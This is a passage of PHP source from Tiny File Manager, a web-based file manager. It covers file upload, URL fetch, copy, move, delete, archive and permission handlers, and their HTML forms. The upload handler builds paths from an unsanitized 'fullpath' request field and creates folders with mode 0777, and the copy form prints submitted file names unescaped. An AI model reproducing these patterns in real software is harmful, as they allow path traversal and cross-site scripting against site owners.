        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, get_file_path());
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }

    exit();
}

// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' && $del != '..' && $del != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted';
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg('Invalid file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
    $type = $_GET['type'];
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($_GET['type'] == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg('File extension is not allowed', 'error');
                }
            } else {
                fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg('Invalid characters in file or folder name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg('Source path not defined', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg('File or folder with this path already exists', 'alert');

            } else {
                fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg('Paths must be not equal', 'alert');
       }
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg('Paths must be not equal', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
    // old name
    $old = $_GET['ren'];
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = $_GET['to'];
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
        fm_set_msg('Invalid characters in file name', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Download
if (isset($_GET['dl'])) {
    $dl = $_GET['dl'];
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' && is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $_REQUEST['fullpath'];
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if(file_exists ($fullPath) && !$override_file_name) {
            $ext_1 = $ext ? '.'.$ext : '';
            $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
        }

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname)));
        } else {
            fm_set_msg('Archive not created', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
    $unzip = $_GET['unzip'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg('File not found', 'error');
    }


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_GET['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg('Archive unpacked');
        } else {
            fm_set_msg('Archive not unpacked', 'error');
        }

    } else {
        fm_set_msg('File not found', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg('Permissions changed');
    } else {
        fm_set_msg('Permissions not changed', 'error');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

/*************************** /ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg('Nothing selected', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i>Select folder</i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php echo lng('Settings') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <?php
                    //get ON/OFF and active class
                    function getChecked($conf, $val, $txt) {
                        if($conf== 1 && $val ==1) {
                            return $txt;
                        } else if($conf == '' && $val == '') {
                            return $txt;
                        } else {
                            return '';
                        }
                    }
                    ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
